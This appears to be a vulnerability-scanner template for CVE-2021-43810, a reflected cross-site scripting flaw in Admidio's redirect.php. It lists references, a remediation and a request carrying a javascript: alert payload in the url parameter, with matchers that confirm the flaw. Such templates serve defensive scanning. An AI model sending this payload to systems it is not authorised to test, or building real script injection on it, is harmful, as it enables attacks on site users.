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id : CVE-2021-43810
info :
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name : Admidio - Reflected Cross-Site Scripting
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author : gy741
severity : medium
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description : A cross-site scripting vulnerability is present in Admidio prior to version 4.0.12. The reflected cross-site scripting vulnerability occurs because redirect.php does not properly validate the value of the url parameter. Through this vulnerability, an attacker is capable to execute malicious scripts.
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reference :
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- https://github.com/Admidio/admidio/security/advisories/GHSA-3qgf-qgc3-42hh
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- https://nvd.nist.gov/vuln/detail/CVE-2021-43810
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- https://github.com/Admidio/admidio/commit/fcb0609abc1d2f65bc1377866bd678e5d891404b
- https://github.com/Admidio/admidio/commit/c043267d362f7813543cc2785119bf3e3e54fe21
remediation : Upgrade to version 4.0.12 or later.
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classification :
cvss-metrics : CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:C/C:L/I:L/A:N
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cvss-score : 6.1
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cve-id : CVE-2021-43810
cwe-id : CWE-79
tags : cve,cve2021,admidio,xss
requests :
- method : GET
path :
- '{{BaseURL}}/adm_program/system/redirect.php?url=javascript://%250aalert(document.domain)'
matchers-condition : and
matchers :
- type : word
part : body
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words :
- 'please click <a href="javascript://%0aalert(document.domain)" target="_self">'
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- type : word
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part : header
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words :
- "text/html"
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- type : status
status :
- 200
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# Enhanced by mp on 2022/02/28